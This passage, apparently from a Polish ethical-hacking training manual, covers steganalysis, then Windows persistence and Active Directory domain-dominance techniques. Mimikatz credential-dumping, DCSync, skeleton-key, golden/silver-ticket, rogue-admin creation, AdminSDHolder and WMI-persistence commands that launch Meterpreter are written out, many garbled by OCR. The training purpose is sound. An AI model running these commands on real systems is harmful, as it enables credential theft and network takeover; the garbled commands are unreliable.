bitowymi i niezwykle duzymi rozmiarami plikéw. Steganaliza ma dwa aspekty: wykrywanie i
znieksztatcanie wiadomosci. W fazie wykrywania analityk obserwuje relacje miedzy narzedziami
steganografii, stego-mediami, oktadka i przekazem. W fazie znieksztatcenia analityk manipuluje stego-
mediami w celu wydobycia osadzonej wiadomosci i decyduje, czy jest ona bezuzyteczna i czy powinna
zostaé catkowicie usunieta. Pierwszym krokiem w stegananalizie jest wykrycie podejrzanego obrazu,
ktéry moze zawiera¢ wiadomos¢. To atak na ukryte informacje. Istniejg dwa inne rodzaje atakéw na
steganografie: ataki z wiadomoscig i ataki z wybrang wiadomoscia. W pierwszym przypadku
steganalyst ma znang ukrytg wiadomos¢ w odpowiednim stego-obrazie. Steganalyst okresla wzorce,
ktore wynikajg z ukrywania i wykrywania tej wiadomosci. Steganalyst tworzy wiadomos¢ za pomoca
znanego narzedzia stego i analizuje réznice we wzorcach. W ataku z wybrang wiadomoscig atakujgcy
tworzy nosniki steganografii przy uzyciu narzedzia znanej wiadomosci i steganografii (albo algorytmu).
Obrazy na oktadkach ujawniajg wiecej wskazdwek wizualnych niz obrazy stego. Konieczna jest analiza
stegoobrazéw w celu zidentyfikowania ukrytych informacji. Rdéznica miedzy obrazem oktadki a
rozmiarem pliku stegoimage jest najprostszym podpisem. Wiele podpiséw najwyrazniej wykorzystuje
niektére schematy koloréw obrazu oktadki. Po wykryciu atakujgcy moze zniszczy¢ obraz stego lub



zmodyfikowac ukryte wiadomosci. Szczegdlnie wazne jest zrozumienie ogdlnej struktury technologii i
metod wykrywania ukrytych informacji w celu odkrycia dziatan. Niektére wyzwania zwigzane ze
steganalizg sg nastepujace:

*Podejrzany strumien informacji moze zawiera¢ zakodowane ukryte dane lub nie

*Wydajne i doktadne wykrywanie ukrytych tresci w obrazach cyfrowych jest trudne
*Wiadomos¢é mogta zostac¢ zaszyfrowana przed wstawieniem do pliku lub sygnatu

*Niektdre podejrzane sygnaty lub pliki mogg zawierac nieistotne dane lub zakodowane szumy
Metody Steganalysis / Ataki na Steganografie

Ataki steganograficzne dziatajg zgodnie z rodzajem informacji, na ktdrych steganalista moze
przeprowadzi¢ steganalize. Informacje te mogg obejmowac ukrytg wiadomos¢, nosnik (ostone), stego-
obiekt, narzedzia steganograficzne lub algorytmy uzywane do ukrywania informacji. Klasyfikacja
steganalizy obejmuje zatem nastepujgce typy atakow: tylko stego, znany stego, znana wiadomos¢,
znana okfadka, wybrana wiadomos¢, wybrany stego, chi-kwadrat, rozrézniajgcy statystyczny i slepy
klasyfikator.

Atak tylko Stego

W ataku tylko stego steganalyst lub atakujgcy nie ma dostepu do zadnych informacji poza stego-
medium lub stego-obiektem. W tym ataku steganalista musi wyprobowaé kazdy mozliwy algorytm
steganografii i powigzany atak, aby odzyskaé ukryte informacje.

Atak znanego stego

Atak ten pozwala atakujgcemu poznaé algorytm steganografii, jak rowniez oryginat i obiekt stego.
Atakujgcy moze wydoby¢ ukryte informacje za pomocg dostepnych informacji.

Atak ze znang wiadomoscia

Atak ze znang wiadomoscig zaktada, ze wiadomos¢ i stego-medium sg dostepne. Za pomocg tego ataku
mozna wykry¢ technike uzytg do ukrycia wiadomosci.

Atak ze znanej ostony

Atakujacy uzywajg ataku ze znang ostong, gdy znajg zaréwno obiekt stego, jak i oryginalne medium
ostaniajgce. Umozliwi to porédwnanie obu no$nikdw w celu wykrycia zmian w formacie nosnika i
znalezienia ukrytej wiadomosci.

Atak z wybrang wiadomoscia

Steganalyst uzywa znanej wiadomosci do wygenerowania obiektu stego przy uzyciu réznych narzedzi
steganograficznych w celu znalezienia algorytmu steganografii uzytego do ukrycia informacji. Celem
tego ataku jest okreslenie wzorcéw w obiekcie stego, ktére mogg wskazywaé na uzycie okreslonych
narzedzi lub algorytmoéw steganografii.

Atak wybranego stego

Atak z wybranym stego ma miejsce, gdy steganalista zna zardwno obiekt stego, jak i narzedzie
steganograficzne lub algorytm uzywany do ukrycia wiadomosci.

Atak chi-kwadrat



Metoda chi-kwadrat opiera sie na analizie prawdopodobienstwa w celu sprawdzenia, czy dany obiekt
stego i oryginalne dane sg takie same, czy nie. Jesli réznica miedzy obiema wartosciami jest bliska zeru,
oznacza to, ze zadne dane nie sg osadzane; w przeciwnym razie obiekt stego zawiera osadzone w nim
dane.

Wyrdiniajacy sie atak statystyczny

W rozrdzniajacej metodzie statystycznej steganalyst lub osoba atakujgca analizuje wbudowany
algorytm uzywany do wykrywania rdéznicujgcych zmian statystycznych wraz z dtugoscig osadzonych
danych.

Atak slepego klasyfikatora

W metodzie slepego klasyfikatora Slepy detektor jest zasilany oryginalnymi lub niezmodyfikowanymi
danymi, aby pozna¢ wyglad oryginalnych danych z wielu perspektyw. Dane wyjsciowe S$lepego
detektora sg wykorzystywane do uczenia klasyfikatora w celu wykrywania réznic miedzy obiektem
stego a oryginalnymi danymi.

Wykrywanie steganografii (pliki tekstowe, graficzne, audio i wideo)

Steganografia to sztuka ukrywania poufnych lub wrazliwych informacji w nosniku oktadkowym. W tej
metodzie niewykorzystane bity danych w plikach komputerowych, takich jak grafika, obrazy cyfrowe,
tekst i HTML, pomagajg ukry¢ poufne informacje przed nieautoryzowanymi uzytkownikami.
Wykrywanie ukrytych danych obejmuje réine podejscia w zaleznosci od typu uzywanego pliku.
Nastepujace typy plikdw wymagajg okreslonych metod wykrywania ukrytych wiadomosci.

Plik tekstowy

W przypadku plikow tekstowych wprowadza sie zmiany w pozycjach znakéw w celu ukrycia danych.
Mozna wykry¢ te zmiany, szukajgc wzorcow tekstu lub zaktécen, uzywanego jezyka, wysokosci linii lub
niezwyktej liczby spacji. Prosty edytor tekstu moze czasami ujawnic¢ steganografie tekstu, poniewaz
wyswietla spacje, tabulatory i inne znaki, ktére znieksztatcajg prezentacje tekstu podczas steganografii
tekstu. Steganografie tekstowg mozna wykry¢, przygladajac sie blizej nastepujgcym aspektom:

o Niezwykte wzorce w obiekcie stego o Dodano dodatkowe spacje i niewidoczne znaki
Plik graficzny

Informacje ukryte w obrazie mozna wykry¢, okreslajgc zmiany w rozmiarze, formacie pliku, ostatniej
modyfikacji, znaczniku czasu ostatniej modyfikacji i palecie koloréw pliku. Ponizsze punkty mogg
pomdc w wykryciu steganografii obrazu:

o Kilka znieksztatcen wyswietlania na obrazach
o Czasami obrazy mogg ulec znacznej degradacji

o Wykrywanie anomalii poprzez ocene zbyt wielu oryginalnych obrazéw i stegoobrazéw pod katem
kompozycji kolorystycznej, luminancji, relacji miedzy pikselami itp.

o Przesadny ,hatas”

Metody analizy statystycznej pomagajg zeskanowac obraz pod katem steganografii. Za kazdym razem,
gdy wstawiasz tajng wiadomos¢ do obrazu, LSB nie sg juz losowe. W przypadku zaszyfrowanych
danych, ktére majg wysokg entropie, LSB oktadki nie bedzie zawierato informacji o oryginale i jest mniej



lub bardziej losowe. Korzystajgc z analizy statystycznej na LSB, mozesz zidentyfikowac réznice miedzy
wartosciami losowymi a wartosciami rzeczywistymi.

Plik audio

Steganografia audio to proces osadzania poufnych informacji, takich jak prywatne dokumenty i pliki,
w dZwieku cyfrowym. Metody analizy statystycznej mozna wykorzystaé do wykrycia steganografii
audio, poniewaz obejmuje ona modyfikacje LSB. Niestyszalne czestotliwosci mozna skanowac¢ w
poszukiwaniu ukrytych informacji. Dziwne znieksztatcenia i wzorce wskazujg na istnienie tajnych
danych.

Plik wideo

Wykrywanie tajnych danych w plikach wideo obejmuje kombinacje metod stosowanych w plikach
graficznych i audio. Specjalne znaki kodowe i gesty pomagajg w wykrywaniu tajnych danych. Zaréwno
steganografia audio, jak i wideo sg dos¢ trudne do wykrycia w poréwnaniu z innymi typami, takimi jak
obraz i dokument. Co wiecej, niezwykle trudno jest wykryé dobrg steganografie dowolnego typu.
Jednak dokfadna analiza sygnatéw audio i wideo w poszukiwaniu ukrytych informacji moze zwiekszy¢
szanse na ich prawidtowe wykrycie.

Narzedzia do wykrywania steganografii

Narzedzia do wykrywania steganografii umozliwiajg wykrywanie i odzyskiwanie ukrytych informacji w
dowolnych mediach cyfrowych, takich jak obrazy, dzwiek i wideo.

zsteg

Narzedzie zsteg stuzy do wykrywania danych ukrytych w stegano w plikach graficznych PNG i BMP. Jak
pokazano na zrzucie ekranu, mozesz uzy¢ narzedzia zsteg, aby wykry¢ ukryty sekret wiadomosé w pliku
obrazu.

Oto kilka przyktadédw narzedzi do wykrywania steganografii:
e StegoVeritas ( https://github.com)

e Stegextract (https://github.com)

e StegoHunt MP (https://www.wetstonetech.com)

* Studio steganografii (http://stegstudio.sourceforge.net)



Wirtualne Laboratorium Steganograficzne (VSL) (http://vsl.sourceforge.net)
Ustanawianie wytrwatosci

Atakujacy tworzg trwatosé, wykonujac ztosliwy kod na urzadzeniu docelowym, naktaniajgc ofiare do
uzyskania dostepu do pliku zatadowanego ztosliwym oprogramowaniem lub pobrania ztosliwego
programu. Uporczywos¢ umozliwia atakujgcym ciggte infekowanie réznych komponentéw systemu i
pozostawanie niewykrytym wobec wszelkich rozwigzan obronnych. Po pomysinym ustanowieniu
trwatosci tworzony jest kanat backdoora dla atakujgcych, za posrednictwem ktdrego mogg oni
wykonywac ztosliwe dziatania, gdy ztosliwe oprogramowanie replikuje sie, nawet jesli docelowy system
uruchomi sie ponownie. W tej sekcji opisano rézne techniki stosowane przez osoby atakujgce w celu
utrzymania trwatosci w docelowym systemie lub sieci.

Utrzymywanie trwatosci poprzez naduzywanie wykonywania autostartu rozruchu lub logowania

Atakujacy wykorzystujg programy autostartu do uruchamiania systemu lub logowania do zwiekszania
uprawnien i przeprowadzania uporczywych atakdéw poprzez zastosowanie niestandardowych ustawien
konfiguracyjnych na zaatakowanej maszynie. Ta technika umozliwia atakujagcym automatyczne
uruchamianie programu podczas uruchamiania systemu lub logowania. W rezultacie osoby atakujgce
moga uzyskaé podwyzszone uprawnienia lub zachowac trwatos¢ zaatakowanego systemu. Systemy
operacyjne zawierajg kilka mechanizmoéw, ktére automatycznie uruchamiajg programy znajdujace sie
w okreslonych katalogach podczas logowania do konta lub uruchamiania systemu. Programy te mogg
réwniez odnosi¢ sie do repozytoriow przechowujgcych informacje dotyczace konfiguracji, takich jak
rejestry systemu Windows.

Ponizej podano dwie metody naduzywania wykonywania autostartu rozruchu lub logowania.
Wykonywanie autostartu logowania: klucze uruchamiania rejestru

Atakujacy mogg przeprowadzac ataki uporczywe lub eskalacje uprawnien, jesli zidentyfikujg ustuge ze
wszystkimi niezbednymi uprawnieniami, ktéra jest powigzana z kluczem rejestru. Kiedy jakikolwiek
autoryzowany uzytkownik prébuje sie zalogowaé, tacze ustugi powigzane z rejestrem jest uruchamiane
automatycznie.

Wyliczanie uprawnien przypisania za pomoca WinPEAS

Atakujacy mogg uzyc skryptu WIinPEAS do wyszukiwania mozliwych $ciezek, ktére mozna wykorzystac
do eskalacji uprawnien w systemie Windows. Mogg znaleZ¢ uprawnienia, wykonujgc nastepujace
polecenie:

informacje o cichej aplikacji winPEASx64.exe

Powyzsze polecenie umozliwia atakujagcym wyliczenie wszystkich uprawnien, ktére sg przeznaczone
dla prawidtowego uzytkownika w odniesieniu do okreslonej ustugi.

o Wykonywanie autostartu logowania: Folder startowy

Atakujgcy moga rowniez umieszczaé zto$liwe aplikacje w folderze startowym, ktére uruchamiajg sie
automatycznie, gdy uzytkownik prébuje zalogowac sie na swoje konto. Atakujacy dokonujg eskalacji
uprawnien, manipulujac lokalizacjami folderéw startowych.

o Naduzywanie folderu startowego przy uzyciu icacls



Btednie skonfigurowane lokalizacje w folderze startowym mogg zostaé¢ wykorzystane przez osobe
atakujgcg do wstrzykniecia ztosliwych tadunkow, takich jak trojany zdalnego dostepu (RAT), w celu
utrzymania trwatosci. Nastepujgce polecenie stuzy do wyliczania uprawnien:

icacls "C:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup"
o Uzywanie programu accesschk.exe do identyfikowania uprawnien

Atakujgcy uzywajg réwniez accesschk.exe, ktéry jest czescig narzedzia Sysinternals do sprawdzania
uprawnien.

/accepteula

,C:\ProgramData\Microsoft\Windows\Start Menu\Programy\Autostart”
Accesschk.exe

Dominacja domeny réznymi Sciezkami

Dominacja domeny to proces przejmowania kontroli nad krytycznymi zasobami, takimi jak kontrolery
domeny (DC) w systemie docelowym i uzyskiwania dostepu do innych zasobdw sieciowych. Atakujgcy
wykorzystujg rézne Sciezki, takie jak zdalne wykonanie kodu, ataki z kluczem szkieletowym i ataki
ztotego biletu na system docelowy, aby utrzymac¢ dominacje domeny. Sposrdd wszystkich tych sciezek
proces zdalnego wykonania kodu jest najbardziej podatng na ataki $Sciezka, ktérg moze zbadac
atakujgcy, ktéry uzyskat juz jakas forme dostepu do systemu ofiary. Atakujacy czesto koncentrujg sie
na uzyskaniu petnego dostepu do kont administratoréw domeny w celu przeprowadzenia atakéw na
sie¢ docelowa. Nastepnie osoby atakujgce moga wykonywac kieszonkowe dane, ztosliwe
oprogramowanie wstrzykiwane, ataki typu ,odmowa ustugi” itp. Ponadto osoby atakujgce prdbujg
rowniez utrzymac dominacje, aby utrzymac trwatos$é w czasie na DC. Jak pokazano na diagramie, osoba
atakujgca prébuje przejac krytyczne zasoby docelowej organizacji, takie jak kontroler domeny, za
posrednictwem uprawnionego uzytkownika.
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Atakujgcy wykorzystujg techniki socjotechniczne do przeprowadzania atakéw polegajgcych na
dominacji domeny za posrednictwem uzytkownika wewnetrznego. Po udanej prébie atakujgcy moze
zebrac krytyczne dane od docelowego uzytkownika, takie jak klucze publiczne i uprawnienia dostepu
uprzywilejowanego.

Ponizej wymieniono rdzne techniki stosowane przez osoby atakujgce w celu utrzymania dominacji w
domenie:



*Zdalne wykonanie kodu

*Naduzywanie interfejsu APl ochrony danych (DPAPI)
* Ztosliwa replikacja

* Atak kluczem szkieletu

*Atak ztotego biletu

*Atak srebrnego biletu

Zdalne wykonanie kodu

Atakujacy prdbujg wykonac ztosliwy kod na docelowym kontrolerze domeny (DC) za posrednictwem
interfejsu wiersza polecenia, aby przeprowadzi¢ atak polegajacy na dominacji domeny. Korzystajac z
tej techniki, osoby atakujgce utrzymujg wytrwatos¢ w wykonywaniu ztosliwych dziatan w czasie bez
wykrycia. Atakujgcy wykonujg ponizsze czynnosci, aby przeprowadzi¢ atak polegajacy na dominacji
domeny poprzez zdalne wykonanie kodu.

* Utworz fikcyjny proces i uzytkownika na docelowym kontrolerze domeny za pomocg ustugi WMI:

wmic /node: <DomaincontrollerName> wywotanie procesu utworz ,uzytkownika sieci / dodaj
PiratedProcess DUAAY01”

W tym przypadku PiratedProcess i DUAAYOI to identyfikator uzytkownika i hasto zasadzonego
fatszywego procesu na kontrolerze domeny uzytkownika docelowego.

* Po utworzeniu uzytkownika dodaj go do grupy ,, Administratorzy”.

PsExec.exe \\< DomaincontrollerName> -acoepteula net localgroup ,,Administratorzy” PiratedProcess
/add

* Przejdz do przystawki Uzytkownicy i komputery ustugi Active Directory (ADUC) i zidentyfikuj
uzytkownika utworzonego za pomocga powyzszego polecenia.

* Otworz okno witasciwosci w systemie i przejdz do zaktadki , Cztonek”, aby zweryfikowac cztonkostwo.

Po pomysinym dodaniu nowego uzytkownika do grupy ,,Administratorzy” osoba atakujgca uzywa tych
poswiadczen do utrzymywania trwatosci na docelowym kontrolerze domeny.

Naduzywanie interfejsu APl ochrony danych (DPAPI)

DPAPI to ujednolicona lokalizacja w Srodowiskach Windows, w ktérej przechowywane sg wszystkie
pliki zabezpieczone kryptograficznie, hasta przegladarek i inne krytyczne dane. Kontrolery domeny
systemu Windows (DC) zawierajg klucz gtéwny do odszyfrowywania plikdw chronionych przez DPAPI.
Atakujacy czesto prébujg uzyskac ten klucz gtéwny z DC przy uzyciu dowolnej z ponizszych metod.

* Uruchom nastepujagcg komende mimikatz, aby odzyskaé klucz gtéwny, uzywajgc hasta
skompromitowanego uzytkownika:

dpapi: klucz gtéwny
/w:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\
S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40alb691-

84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-



1106 /hasto:******** [chronione

* Uruchom nastepujace polecenie, aby pobraé wszystkie lokalne klucze gtéwne ze ztamanymi danymi
administratora:

sekurlsa::dpapi
* Uruchom nastepujace polecenie, aby pobraé wszystkie zapasowe klucze gtdwne:
Isadump::backupkeys /system:dcOl.offense.local /export

Sprawdz krzyzowo, czy zabezpieczone klucze gtdwne sg uzyskiwane, przegladajac lokalizacje gtéwng
zawierajgca plik mimikatz.exe i sprawdz formaty plikéw, takie jak .der, .key, pvk. i .pfx. Uzyskujgc klucz
gtéwny, osoba atakujgca moze otworzy¢ dowolny plik zaszyfrowany za pomocg DPAPI z dowolnego
urzadzenia powigzanego z siecig i zachowac trwatos¢é.

Ztosliwa replikacja

Ztosliwa replikacja umozliwia atakujgcym utworzenie doktadnej kopii danych uzytkownika przy uzyciu
referencji administratora. Ta technika umozliwia atakujagcym ztamanie innych danych
uwierzytelniajgcych i uzyskanie dostepu do kont ze zdalnej lokalizacji. Atakujgcy wykonujg wszystkie
kroki ataku DCSync, aby zreplikowa¢ poufne konta, takie jak ,krbtgt”, ktdre stuzg jako klucz gtéwny do
podpisywania biletdw Kerberos. Atakujgcy probujg ztosliwie replikowac za pomocg nastepujgcego
polecenia:

Komenda Invoke-Mimikatz

Juser:<krbtgt>\<Any Domain User>"! lllsadump::dcsync /domain:<Target Domain>
Powyzsze polecenie generuje skroty NTML danego uzytkownika domeny.

Atak Szkieletowego Klucza

Klucz szkieletowy to rodzaj ztosliwego oprogramowania, ktérego atakujacy uzywajg do wstrzykiwania
fatszywych danych uwierzytelniajgcych do kontroleréow domeny (DC) w celu utworzenia hasta
backdoora. Jest to wirus rezydujgcy w pamieci, ktéry umozliwia atakujgcemu uzyskanie hasta gtéwnego
w celu potwierdzenia, ze jest uprawnionym uzytkownikiem w domenie. Ten atak wymaga uprawnien
administratora domeny i dostepu do kontrolera domeny. Atak ten jest trudny do odréznienia od innych
standardowych metod uwierzytelniania uzytkownika, co utrudnia jego wykrycie.

Dziatanie ataku szkieletowego klucza

Ten atak jest prosty i wymaga jedynie wykonania misc::skeleton na kazdym kontrolerze domeny za
pomoca nastepujgcego polecenia:

Invoke-Mimikatz —Command ? iiprivilege::debug" "misc::skeletonii <target domain controller name>

Po wykonaniu powyiszego polecenia osoba atakujgca moze udawaé dowolnego uzytkownika z
domysinymi poswiadczeniami mimikatz. Atakujacy wykonujg réwniez ataki z kluczem szkieletowym,
instalujac fatki w ustudze Local Security Authority Server Service (LSASS). Atakujgcy wykorzystujg swoj
dostep do domeny i instalujg ztosliwe oprogramowanie na kontrolerach domeny. Ztosliwe
oprogramowanie automatycznie aktualizuje LSASS, co generuje nowy klucz szkieletowy lub hasto
gtowne ktéry dziata dla wszystkich uzytkownikéw. Btgd pokazany na powyzszym zrzucie ekranu jest
wyswietlany, jesli LSASS zostat juz zatatany za pomoca kluczy szkieletowych. Atakujgcy moga



alternatywnie wykorzysta¢ narzedzie Empire, ktére zawiera modut automatyzujgcy proces,
uruchamiajgc mimikatz catkowicie w pamieci i unikajgc upuszczenia pliku binarnego na DC.

powershell/persistence/misc/skeleton_key
W tym przypadku uruchomienie polecenia wykonania uruchamia atak na klucz szkieletowy.
Atak Ztotego Biletu

Atak ztotego biletu to technika post-eksploatacyjna stosowana przez atakujgcych w celu uzyskania
petnej kontroli nad catym AD. Atakujgcy wykonujg ten atak, wykorzystujgc protokdt uwierzytelniania
Kerberos, za pomocg ktdrego fatszujg bilety przyznajace bilet (TGT), przejmujac konto Key Distribution
Service (KRBTGT) w celu uzyskania dostepu do réinych zasobdéw. Atak ten pozwala atakujgcym
zachowa¢ uporczywos¢ i uzyska¢ wiecej informacji w ramach AD, podszywajac sie pod
uprzywilejowanych uzytkownikéw.

Dziatanie ataku Golden Ticket

Atakujacy poczatkowo narazajg wazne konto uzytkownika za pomocg wiadomosci e-mail typu phishing
lub wykorzystujgc luki w zabezpieczeniach lub btedne konfiguracje zabezpieczen. Kroki zwigzane z
atakiem ztotego biletu sg nastepujace.

1. Osoby atakujgce uzyskujg informacje o domenie, takie jak nazwa domeny i identyfikator
zabezpieczen domeny (SID), za pomocg polecenia whoami.

2. Nastepnie osoby atakujgce podnoszg swoje uprawnienia do konta uzytkownika na poziomie
administratora domeny, aby ukras¢ skrét NTLM KRBTGT. Atakujacy uzywajg mimikatz do
przeprowadzenia ataku pass-the-hash lub ataku DCSync w celu kradziezy skrétu hasta KRBTGT,
wykonujgc nastepujgce polecenie:

Isadump::dcsync /domain:domain name /user:krbtgt

3. Po uzyskaniu skrétéw haset osoby atakujgce uruchamiajg nastepujgce polecenie mimikatz w celu
uzyskania ztotego biletu, podszywajac sie pod uzytkownika z uprawnieniami administratora. Umozliwia
atakujacym dostep do dowolnego zasobu, grupy lub domeny w srodowisku.

kerberos::golden /domain:domain name /sid:SID /rc4:KRBTGT hash value /idrvalue /user:username
Woreszcie atakujgcy utrzymujg trwatos¢, ustawiajgc waznos¢ biletu.

Uwaga: ostatni krok mozna réwniez wykona¢ za pomoca skrétéw NTLM uzyskanych z procesu ztosliwej
replikacji.

Atak srebrnego biletu

Atak srebrnego biletu to technika stosowana po wykorzystaniu przez osobe atakujgca w celu kradziezy
poswiadczen legalnych uzytkownikéw i utworzenia fatszywego biletu ustugi TGS (TGS) protokotu
Kerberos. Atak ten umozliwia atakujgcemu uzyskanie uprawnien tylko do jednej ustugi w aplikacji, w
przeciwienstwie do ataku ztotego biletu, w ktdrym atakujacy uzyskujg uprawnienia w catym AD. Aby
zainicjowac atak srebrnego biletu, osoba atakujgca musi mie¢ dostep do poswiadczen zebranych z
lokalnego konta ustugi lub bazy danych SAM systemu. Nastepnie atakujgcy fatszuje lub tworzy srebrny
bilet bez zadnego posrednika, takiego jak kontroler domeny (DC), co utatwia atakujgcemu wtargniecie
i stanie sie niewykrywalnym dla rozwigzan monitorujgcych. Atakujgcy poczatkowo naraza system
docelowy za pomocg technik, takich jak phishing i wykorzystanie luk w zabezpieczeniach. Po uzyskaniu



dostepu do systemu sieciowego osoba atakujgca inicjuje atak srebrnego biletu, tworzac fatszywy
srebrny bilet Kerberos, wykonujac nastepujgce czynnosci:

* Atakujacy uzyskuje informacje o domenie, takie jak nazwa domeny i identyfikator bezpieczerstwa
domeny (SID), uzywajac polecenia whoami.

* Atakujgcy uzyskuje inne szczegdty dotyczace ustugi lub typu ustugi, na ktdrg chce zaatakowac.

* Atakujgcy wdraza narzedzia do tamania haset, takie jak mimikatz, w zaatakowanym systemie w celu
wyodrebnienia lokalnego skrétu hasta NTLM ustugi Kerberos.

* Atakujacy inicjuje ataki offline na hasta, takie jak Kerberoasting, aby uzyskaé nieprzetworzone lub
jawne hasto do ustugi.

*Atakujacy tworzy sfatszowany lub fatszywy bilet Kerberos TGS za pomoca narzedzia mimikatz w celu
nawigzania potgczenia z ustugg docelowsa.

* Atakujacy wykorzystuje zarowno sfatszowane dane TGS, jak i dane haszujace, aby uwierzytelnic
lokalng ustuge jako uprawnionego uzytkownika.

Uwaga: Zadanie weryfikacji certyfikatu atrybutu uprawnieri (PAC) i odpowiedz weryfikacyjna PAC sg
opcjonalne w przypadku ataku srebrnego biletu.

Jesli atakujgcemu uda sie podnies¢ uprawnienia i uzyskac uprawnienia administratora do wykonywania
kodu na komputerze lokalnym, moze uruchomié nastepujgce polecenie w celu pobrania skrétéw NTLM
hasta systemu AD:

mimikatz "privilege::debug" "sekurlsa::logonpasswords"

Zachowaj trwato$¢ domeny za pomocg AdminSDHolder

AdminSDHolder to obiekt AD, ktéry chroni konta uzytkownikdow i grupy posiadajace wysokie
uprawnienia przed przypadkowymi modyfikacjami uprawnien bezpieczenstwa. Czesto proces
propagatora deskryptoréw zabezpieczern (SDProp) pobiera liste kontroli dostepu (ACL)
AdminSDHolder, ktéra zawiera domyslne uprawnienia dla kont i grup. Te domysine uprawnienia sg
poréwnywane z uprawnieniami kont o wysokim stopniu uprzywilejowania w celu zidentyfikowania
modyfikacji, a nastepnie zastepowane uprawnieniami zdefiniowanymi na liscie ACL. Atakujgcy majacy
uprawnienia administratora w zaatakowanej domenie mogg naduzywaé procesu SDProp w celu
ustanowienia trwatosci. Atakujgcy mogg dodac¢ konto uzytkownika do listy ACL, aby uzyskac
uprawnieni ,GenericAll” a réwnowazne administratorowi domeny. W rezultacie, dzieki zmianom
replikowanym co godzine przez SDProp, osoby atakujgce mogg zachowac trwatosé.

Ustanawianie trwatosci domeny przez naduzywanie AdminSDHolder
Uzyj nastepujgcego polecenia, aby doda¢ konto uzytkownika Martin do listy ACL:

Add-ObjectAcl PrincipalSamAccountName Martin -Verbose -Rights All -TargetADSprefix
'CN=AdminSDHolder,CN=System'

Proces SDProp pobiera liste ACL, aby sprawdzi¢, czy konto Martin ma uprawnienia ,,GenericAN":

Dodatkowo mozna uzyé nastepujgcego polecenia, aby zmieni¢ domysiny czas SDProp na 3 min
modyfikujac rejestr:

REG DODAJ HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V



AdminSDProtectFrequency /T REG_DWORD /F /D 300

Zrzut ekranu pokazuje, ze konto Martin zostato dodane do AdminSDHolder ze wszystkimi ustawione
uprawnienia.
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Dodaj konto Martin do grupy Administratorzy domeny za pomoca nastepujgcego polecenia:
net group "Domain Admins" Martin /add /domain

Uruchom nastepujgce polecenie, aby sprawdzi¢ dostepnosc kontrolera domeny (DC):

dir \\10.10.1.22\c$

Utrzymywanie trwatosci dzieki subskrypcji zdarzen ustugi WMI

Atakujgcy wykorzystujg subskrypcje zdarzen Instrumentacji zarzadzania Windows (WMI) do
wykonywania zto$liwej zawartosci i utrzymywania trwatosci w systemie docelowym. Uzywajg réznych
skryptow i technik w celu wykorzystania funkcji WMI i przeprowadzania subskrypcji zdarzen dla
ztodliwych zdarzen, ktére po uruchomieniu inicjujg wykonanie dowolnego kodu, umozliwiajgc
atakujagcym zachowanie trwatosci. Skrypty te automatyzujg proces, ukrywajac ztosliwe tadunki i
utrzymujac stabilno$¢ nawet po ponownym uruchomieniu/ponownym uruchomieniu systemu.

Techniki utrzymywania trwatosci przy uzyciu subskrypcji zdarzen WMI

Korzystanie z wiersza polecenia

Nastepujgce polecenia wmic tworzg ztosliwg przestrzen nazw i subskrypcje dla wydarzenia:
o wmic /NAMESPACE:"\\root\subscription" PATH

CREATE Name="EthicalHacker",

EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT



* FROM

EventFilter

InstanceModificationEvent WITHIN 60 WHERE

Targetlnstancs ISA 'Win32_PerfFormattedData_PerfOS_System'"
o wmic /NAMESPACE:"\\root\subscription" PATH
CommandLineEventConsumer CREATE Name="EthicalHacker",
ExecutablePath="C:\Windows\System32\ethicalhacker.exe",Command
LineTemplate="C:\Windows\System32\thicalhacker.exe"

o wmic /NAMESPACE:"\\root\subscription" PATH
FilterToConsumerBinding CREATE

Filter=" EventFilter.Name=\"EthicalHacker\"",

Consumer="CommandLineEventConsumer.Name=\"EthicalHacker\

Ztosliwy tadunek jest automatycznie wykonywany w ciggu 60 sekund po kazdym ponownym
uruchomieniu programu i tworzy sesje Meterpretera z atakujgcym.

Uzywanie Wmi-Persistence

Atakujgcy uzywajg rowniez Wmi-Persistence, skryptu PowerShell, do przeprowadzania subskrypcji
zdarzen WMI i uzyskiwania trwatosci. Uruchamia rdzne akcje, takie jak uruchamianie, logowanie,
interwat i czasowe, oraz umozliwia atakujagcym wykonywanie réznych funkcji, takich jak instalacja,
przeglagdanie i usuwanie zdarzen ustugi WMI. Wykonaj nastepujgce polecenie, aby uruchomic ztosliwy
tadunek w zaatakowanym systemie w celu zachowania trwatosci:

Install-Persistence -Trigger Startup -Payload
"c:\windows\system32\ethicalhacker.exe"

Powyzsze polecenie obejmuje uruchomienie wyzwalacza, ktére wykonuje okreslony tadunek w ciggu
5 minut po ponownym uruchomieniu systemu i ustanawia secesje Meterpretera z atakujgcym.

Za pomoca PowerLurka

PowerLurk to zestaw narzedzi PowerShell do tworzenia ztosliwych subskrypcji zdarzen WMI. Celem
PowerlLurk jest utatwienie wyzwalania zdarzen WMI podczas testu penetracyjnego lub zaangazowania
czerwonej druzyny. Atakujacy wykorzystujg PowerLurk do tworzenia ztosliwych subskrypcji zdarzen
WMI i wykonywania dowolnych fadunkdéw przy kazdym logowaniu do systemu Windows. Ten skrypt
moze wyzwalac zdarzenia, takie jak InsertUSB, UserLogon, Timed, Interval i ProcessStart. Uruchom
nastepujgce polecenie, aby zaimportowac skrypt PowerLurk do lokalnej instancji:

Modut importu .\PowerLurk.psl
Uruchom nastepujgce polecenie, aby zidentyfikowaé wszystkie aktywne obiekty zdarzen ustugi WMI:

Get-WmiEvent



Uruchom nastepujace polecenie, aby utworzy¢ subskrypcje ztosliwego zdarzenia, ktéra wykonuje
szkodliwy fadunek i tworzy sesje Meterpretera:

Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand
,ethicalhacker.exe” — wyzwalanie logowania uzytkownika — nazwa uzytkownika dowolna
Atak Overpass-the-Hash

Atak overpass-the-hash (OPtH) jest rozszerzeniem atakow typu pass-the-ticket i pass-the-hash. Jest to
rodzaj ataku polegajgcego na kradziezy i ponownym wykorzystaniu danych uwierzytelniajacych, za
pomocga ktérego osoby atakujgce wykonujg ztosliwe dziatania na zaatakowanych urzgdzeniach lub
srodowiskach. Gtéwnym celem ataku OPtH jest uzyskanie biletéw Kerberos przy uzyciu skrotu NTLM
réznych kont uzytkownikéw. Atakujgcy poczatkowo wykorzystujg ograniczenia bezpieczenstwa w
protokole NTLM, aby uzyskaé skréty haset lub AES z pamieci LSASS na kontrolerze domeny (DC) lub
